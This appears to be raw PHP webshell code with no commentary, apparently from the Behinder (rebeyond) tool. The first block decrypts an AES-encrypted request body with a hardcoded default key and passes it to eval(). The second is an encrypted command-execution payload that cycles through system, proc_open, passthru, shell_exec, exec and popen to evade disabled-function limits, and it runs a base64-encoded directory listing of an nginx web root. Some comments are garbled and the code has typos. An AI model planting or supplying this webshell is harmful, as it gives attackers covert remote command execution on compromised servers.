<?php
@error_reporting(0);
	    function Decrypt($data)
    {
        $key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的??16位，默認(rèn)連接密碼rebeyond
        $magicNum=hexdec(substr($key,0,2))%16; //取magic tail長(zhǎng)度
        $data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
        return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
    }
	$post=Decrypt(file_get_contents("php://input"));
    eval($post);
?>

<?php 
@error_reporting(0);
function getSafeStr($str) {
    $s1 = iconv('utf-8', 'gbk//IGNORE', $str);
    $s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
    if ($s0 == $str) {
        return $s0;
    } else {
        return iconv('gbk','u tf-8//IGNORE', $str);
    }
}
function main($cmd, $path) {
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (!empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
        $kWJW = NULL;
        while (!feof($pipes[1])) {
            $kWJW.= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (!feof($fp)) {
                $kWJW.= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result));
        return;
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result));
}
function Encrypt($data) {
    $key = "e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的??16位，默認(rèn)連接密碼rebeyond
    $encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
  	$magicNum=hexdec(substr($key,0,2))%16; //根據(jù)密鑰動(dòng)???確定魔法尾巴的長(zhǎng)度 
  	for($i=0;$i<$magicNum;$i++)
    { 
      encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
    }
  	return $encrypted; 
}
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);
?>

$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);